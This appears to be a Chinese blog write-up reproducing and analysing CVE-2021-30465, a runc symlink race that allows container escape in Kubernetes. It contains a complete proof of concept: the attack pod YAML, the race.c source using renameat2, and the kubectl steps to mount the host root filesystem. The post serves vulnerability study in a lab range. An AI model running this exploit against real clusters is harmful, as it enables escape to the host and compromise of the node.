CVE-2021-30465-runc容器逃逸-<=1.0.0-rc94


作者:漫谈云原生
链接:https://www.gushiciku.cn/pl/gysF
来源:个人博客
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

前言

近日国外安全研究员发布了可导致容器逃逸的runc漏洞 POC,该漏洞影响runc 1.0.0-rc94以及之前的版本,对应CVE编号:CVE-2021-30465。该漏洞也出来有段时间了,因为时间和其他工作安排的原因,没有在POC爆出的第一时间就进行复现,很是惭愧,随着时间的推移,现在网上也已经有很多的复现文章,我也没时间去过多的看所有的文章,只是参考一些原作者及思路清晰的作为参考,同时结合快速、自动化等特征,希望能够在复现的过程中和别人有点不同的地方。

漏洞本质

runc 是一个CLI工具,用于根据OCI规范生成和运行容器,该工具被广泛的应用于各种虚拟化环境中,如Kubernets。

该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。黑客可利用该漏洞能将宿主机目录挂载到容器中,来实现容器逃逸。

在容器层面挂载卷和挂载目录是不一样的。挂载目录,对容器来说,只是简单把目录与容器的目录做映射绑定,而目录的权限还是在主机,需要用户自制维护,手动处理权限等问题。卷 (Volume) 是受控存储,挂载卷后是由容器引擎进行管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核心点)。而卷下面的所有操作就包含对存储、目录、软链接等等一系列。而CVE-2021-30465漏洞就是由于runc没有处理好卷下面的资源竞争的问题而导致的。

漏洞复现

环境部署

安装docker及k8s,这里我推荐绿盟开源的云原生攻防靶场,Metarget的名称来源于meta-(元)加target(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。

「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!

基于metarget安装docker
1
./metarget gadget install docker --version 18.06.3 --domestic

image-20210629111544234

基于metarget安装k8s
1
./metarget gadget install k8s --version 1.16.5 --domestic

20210624174514

安装完成后,执行下面的命令查看是否安装成功

1
kubectl get nodes

image-20210625150505809

复现过程

本次漏洞因为存在一定的机率问题,使用docker等单个容器管理很难看到效果。故使用K8S的POD能力,对多个容器进行实验。

整体步骤如下:

1.首先需要创建多个容器,一个正常启动的容器c1,以及多个无法正常启动(即image为 donotexists.com/do/not:exist )的容器c2-c20以及两个volume数据卷teset1和test2,分别挂载在各个容器中;

使用k8s创建POD的方法如下:

  • 编辑yaml文件

    1
    vim k8s_attack_pod.yml

    插入如下内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    apiVersion: v1
    kind: Pod
    metadata:
    name: attack
    spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
    valueFrom:
    fieldRef:
    fieldPath: metadata.uid
    volumeMounts:
    - name: test1
    mountPath: /test1
    - name: test2
    mountPath: /test2
    - name: c2
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
    volumeMounts:
    - name: test1
    mountPath: /test1
    - name: test2
    mountPath: /test1/mnt1
    - name: test2
    mountPath: /test1/mnt2
    - name: test2
    mountPath: /test1/mnt3
    - name: test2
    mountPath: /test1/mnt4
    - name: test2
    mountPath: /test1/zzz
    - name: c3
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
    volumeMounts:
    - name: test1
    mountPath: /test1
    - name: test2
    mountPath: /test1/mnt1
    - name: test2
    mountPath: /test1/mnt2
    - name: test2
    mountPath: /test1/mnt3
    - name: test2
    mountPath: /test1/mnt4
    - name: test2
    mountPath: /test1/zzz
    ... // 省略c4-c20的容器
    volumes:
    - name: test1
    emptyDir:
    medium: "Memory"
    - name: test2
    emptyDir:
    medium: "Memory"

    上面这个 yaml 文件内容,表示在这个 pod 里创建20个容器,通过 volumes 项可以看到,这20个容器共享两个目录,一个叫 test1,一个叫 test2。

    对于容器c1,它使用镜像 ubuntu:latest,对于c2-c20,它使用镜像donotexists.com/do/not:exist,这是个不合法的镜像,所以在pod创建后,c2-c20 容器不会成功创建。只有c1会创建成功。

  • 使用如下命令创建

    1
    kubectl create -f k8s_attack_pod.yml

    也可以使用如下命令直接创建POD:(本文使用该方式)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    kubectl create -f - <<EOF
    apiVersion: v1
    kind: Pod
    metadata:
    name: attack
    spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
    image: ubuntu:latest
    command: [ "/bin/sleep", "inf" ]
    env:
    - name: MY_POD_UID
    valueFrom:
    fieldRef:
    fieldPath: metadata.uid
    volumeMounts:
    - name: test1
    mountPath: /test1
    - name: test2
    mountPath: /test2
    $(for c in {2..20}; do
    cat <<EOC
    - name: c$c
    image: donotexists.com/do/not:exist
    command: [ "/bin/sleep", "inf" ]
    volumeMounts:
    - name: test1
    mountPath: /test1
    - name: test2
    mountPath: /test1/mnt1
    - name: test2
    mountPath: /test1/mnt2
    - name: test2
    mountPath: /test1/mnt3
    - name: test2
    mountPath: /test1/mnt4
    - name: test2
    mountPath: /test1/zzz
    EOC
    done
    )
    volumes:
    - name: test1
    emptyDir:
    medium: "Memory"
    - name: test2
    emptyDir:
    medium: "Memory"
    EOF

创建后的POD如下所示。

image-20210625154713348

查看POD创建是否成功:可以看到创建了20个POD,却只有一个成功了;

1
kubectl get pods

image-20210625170847587

image-20210625171122361

2、然后准备 一个race.c,并编译成race二进制文件

race程序的功能就是将参数1传进来的文件修改为参数2传进来的文件,在调用renameat2前,会将参数2设置为一个指向参数3传进来目录的软连接。

  • 编辑race.c文件

    1
    vim race.c
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    #define _GNU_SOURCE
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <sys/syscall.h>

    /* musl libc does not define RENAME_EXCHANGE */
    #ifndef RENAME_EXCHANGE
    #define RENAME_EXCHANGE 2
    #endif

    int main(int argc, char *argv[]) {
    if (argc != 4) {
    fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
    exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
    perror("Error open CWD");
    exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
    perror("mkdir failed");
    //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
    perror("symlink failed");
    //do not exit
    }

    while (1)
    {
    int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
    }
  • 使用如下命令生成可执行文件

    1
    gcc race.c -O3 -o race

3、等待c1容器正常启动之后,将 race copy至c1中

1
kubectl cp race -c c1 attack:/test1/

image-20210625172542126

4、并且在c1中生成 /test2/test2 链接文件,指向根目录 / (这里软链接的文件名务必和数据卷名字相同)

1
2
kubectl exec -ti pod/attack -c c1 -- bash
ln -s / /test2/test2

image-20210625172823503

image-20210625172946766

5、然后在c1容器中启动 race 二进制

1
2
cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

这里的作用就是起了四个进程,创建 mnt-tmpX 软链接,指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ ,然后通过系统调用 renameat2 不断交换 mntXmnt-tmpX 两个文件。

这里就是不断的将 mntX 修改为 mnt-tmpX,

而 mnt-tmpX是指向 /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/目录的软连接。

6、然后新开一个终端,将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)

1
2
3
for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done

image-20210625183958381

此时能看到attack这个pod中的容器全部正常启动

image-20210625184041481

7、然后查看是否逃逸成功,可以发现没有成功

1
2
3
4
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

image-20210629144020120

8、至此,我还没找到原因,这是从别人博客里面粘贴过来的图,应该是会有一部分容器的 /test1/zzz 会被指向宿主机的根目录,逃逸成功的——没搞懂我的环境为什么不可以:(,是否与内核版本,何种版本有关系,之后再尝试几次吧~

1
2
3
4
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

img

漏洞分析

漏洞原理

该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中。

runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法,下面是这个函数的描述

1
2
3
4
5
// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.
func SecureJoinVFS(root, unsafePath string, vfs VFS) (string, error) {

正如描述所言,这里存在竞争条件。:)

runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。

但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。

逃逸流程

可以看出这应该是一个和条件竞争相关的漏洞,因此我们可以简化一下这个流程,来讨论一下逃逸成功的情况。

首先要了解一点,runc在挂载 volumes 时是不允许将软链接挂载至容器中的,因为runc会跟随软链接指向的地址,将宿主机上的目录挂载至容器中。

因此runc会经过一个 securejoin.SecureJoinVFS() 的函数,先对要挂载的目录进行check,然后再进行mount操作。在这期间就会形成一个先后时间差,从而产生条件竞争。从而可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器中,从而产生逃逸。

知道这一点之后,再来看下POC是如何利用这一点的。

首先要确保攻击container(c1)和恶意创建的container都挂载了相同的volumes(test1和test2)

1、c1在test1数据卷下生成一个 mntX 以及一个指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/mnt-tmpX 软链接,然后不断交换 mntXmnt-tmpX 。并且创建 /test2/test2 指向根目录。

这里的 $MY_POD_UID 虽然是在启动时注入的,但实际上可以通过 /proc/self/mountinfo 来获取

img

以及这个 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 实际上就是宿主机上当前pod的数据卷目录

2、然后当其余容器正常启动时,就会先去挂载test1数据卷到 /test1 目录下,然后挂载test2至 /test1/mntX

由于共享一个数据卷的原因,c1就会不断更换当前容器的 /test/mntX/test1/mnt-tmpX

因而在test2挂载至 /test1/mntX 时,一开始 securejoin.SecureJoinVFS 检查时是一个正常的文件,于是通过了检测,进行mount操作。

但是在mount操作时 /test1/mntX 被更换成了一个指向 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 的软链接。

于是在宿主机上本来是将进行如下操作

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX")

跟随软链接之后就变成了

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/")

于是相当于test2数据卷覆盖了整个 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 目录,因此再挂载test2数据卷到 /test1/zzz 目录时,就会进行如下操作

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

由于之前c1容器创建了 /test2/test2 指向根目录,因此这里的 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 其实就是一个指向当前宿主机根目录的软链接,于是以上操作就变成了。(这也是为什么要创建和数据卷同名的软链接文件)

1
mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

从而将宿主机根目录挂载到了容器的 /test1/zzz 中,实现了容器逃逸。

漏洞利用

K8S 没有让我们控制挂载源,但我们可以完全控制挂载的目标,所以诀窍是在 K8S 卷路径上挂载一个包含符号链接的目录, 让下一个挂载使用这个新源 ,并且让我们可以访问节点根文件系统。

poc中yaml文件中的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz

可以看到上述配置会连续挂载test2到不同的目录。

runc 执行以下指令时

1
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

如果我们race程序执行幸运的话,当我们调用时SecureJoin(),mntX是一个目录,当我们调用mount()时,mntX是一个符号链接,这相当于

1
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

因为之前 ln -s / /test2/test2 的关系

文件系统现在是这样

1
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

这里解释一下上面这种变化,本来/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2内部如下

1
2
# ls -al /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

在进行 mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/) 操作之后, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ 就相当于成了 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 ,中间的一个test2目录被去掉了

当我们做最后的挂载时

1
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

相当于

1
mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

一切顺利的话,逃逸成功!

总结

目前看来只使用docker基本没有攻击场景,需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。

而且因为是利用竞争条件来进行利用的,有很大概率失败,我本地测试同一个pod里放了20个容器,能成功逃逸一个。

poc的利用方法是将c2+容器使用的镜像先设置为无效的镜像,待c1内布置好再更新合法的镜像给c2+;如果没有更新镜像的能力,也可以将c2+的镜像设置为很大的镜像或者延迟加载,要做到c1布置好后才进行c2+的容器生成,才有机会进行漏洞利用。

参考文献

-------- 本文结束 感谢阅读 --------

本文标题:CVE-2021-30465-runc容器逃逸-<=1.0.0-rc94

文章作者:FunctFan

发布时间:2021年06月30日 - 03:30:10

最后更新:2021年06月30日 - 03:52:37

原始链接:https://functfan.github.io/posts/2583720244/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。